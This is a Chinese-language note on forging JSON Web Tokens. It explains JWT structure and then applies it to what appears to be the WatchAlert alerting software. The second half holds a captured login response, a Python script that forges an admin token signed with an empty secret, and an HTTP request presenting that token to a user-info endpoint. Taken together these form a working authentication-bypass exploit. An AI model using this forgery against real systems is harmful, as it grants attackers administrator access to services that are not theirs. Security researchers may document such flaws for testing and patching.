Jwt 伪造笔记
JWT 基础结构笔记
JWT 全称 JSON Web Token,是一种标准化格式,用于在系统之间发送加密签名的 JSON 数据。
JWT 的结构由三部分组成,分别是 Header、Payload 和 Signature,下面是每一部分的详细介绍和示例:
Header 部分
在 JWT 中 Header 部分存储的是 Token 类型和加密算法,通常使用 JSON 对象表示并使用 Base64 编码,其中包含两个字段:alg 和 typ
- alg (algorithm):指定了使用的加密算法,常见的有 HMAC、RSA 和 ECDSA 等算法
- typ (type):指定了 JWT 的类型,通常为 JWT
下面是一个示例 Header:
{
"alg": "HS256",
"typ": "JWT"
}
Payload 部分
Payload 包含了 JWT 的主要信息,通常使用 JSON 对象表示并使用 Base64 编码,Payload 中包含三个类型的字段:注册声明、公共声明和私有声明
- 公共声明:是自定义的字段,用于传递非敏感信息,例如:用户 ID、角色等
- 私有声明:是自定义的字段,用于传递敏感信息,例如密码、信用卡号等
- 注册声明:预定义的标准字段,包含了一些 JWT 的元数据信息,例如:发行者、过期时间等
下面是一个示例 Payload:
{
"sub": "1234567890",
"name": "John Doe",
"iat": 1516239022
}
其中 sub 表示主题,name 表示名称,iat 表示 JWT 的签发时间
Signature 部分
Signature 是使用指定算法对 Header 和 Payload 进行签名生成的,用于验证 JWT 的完整性和真实性
- Signature 的生成方式通常是将 Header 和 Payload 连接起来然后使用指定算法对其进行签名,最终将签名结果与 Header 和 Payload 一起组成 JWT
- Signature 的生成和验证需要使用相同的密钥
下面是一个示例 Signature
HMACSHA256(base64UrlEncode(header) + "." +base64UrlEncode(payload),secret)
其中 HMACSHA256 是使用 HMAC SHA256 算法进行签名,header 和 payload 是经过 Base64 编码的 Header 和 Payload,secret 是用于签名和验证的密钥,最终将 Header、Payload 和 Signature 连接起来用句点 (.) 分隔就形成了一个完整的 JWT
完整的 JWT
第一部分是 Header,第二部分是 Payload,第三部分是 Signature,它们之间由三个 . 分隔,注意 JWT 中的每一部分都是经过 Base64 编码的,但并不是加密的,因此 JWT 中的信息是可以被解密的
下面是一个示例 JWT
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
实际环境笔记
登录接口数据包响应
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Mon, 22 Dec 2025 08:02:42 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 310
Connection: keep-alive
{"code":200,"data":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImFkbWluIiwibmFtZSI6ImFkbWluIiwicGFzcyI6ImMzYTQ1ODQ5OTMzYzBjMTI3M2VhMTE5MGVmYTllMWJhIiwiU3RhbmRhcmRDbGFpbXMiOnsiZXhwIjoxNzY2NDA4NTYyLCJpYXQiOjE3NjYzOTA1NjIsImlzcyI6IldhdGNoQWxlcnQifX0.j33fvu6sDAD5kDMtzTwDqSTMaop-J-HbOeHGd9tGC_U","msg":"success"}
使用 JWT Decoder 进行解码
- 勾选左边框右上角的
Enable auto-focus - 粘贴响应包终端阿 jwt 字符串到左边框
- 右边框的Decoded Payload 会显示 payload 的结构

然后按照 payload 结构编写脚本
脚本文件的名称不要为
jwt,会与 jwt 模块重名而报错
import jwt
import time
# 伪造admin用户的Token
payload = {
"id": "admin",
"name": "admin",
"pass": "xxx",
"exp": int(time.time()) + 18000,
"iat": int(time.time()),
"iss": "WatchAlert"
}
token = jwt.encode(payload, "", algorithm="HS256")
print(f"Bearer {token}")
脚本输出结果的格式为
Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImFkbWluIiwibmFtZSI6ImFkbWluIiwicGFzcyI6Inh4eCIsImV4cCI6MTc2NjQwOTMyMiwiaWF0IjoxNzY2MzkxMzIyLCJpc3MiOiJXYXRjaEFsZXJ0In0.O53QF6wTuhkISL_F52EAhVQvdF0ADRv349NFvy-pf54
在 http 请求包中,使用的格式为:
键值名为
Authorization,键值需要包含Bearer字符串
GET /api/system/userInfo HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImFkbWluIiwibmFtZSI6ImFkbWluIiwicGFzcyI6Inh4eCIsImV4cCI6MTc2NjQwMzk4MywiaWF0IjoxNzY2Mzg1OTgzLCJpc3MiOiJXYXRjaEFsZXJ0In0.cxM_XWjJyJh-WpXYt1n4MH4A6mT-BtLO8r8DDkr3ngw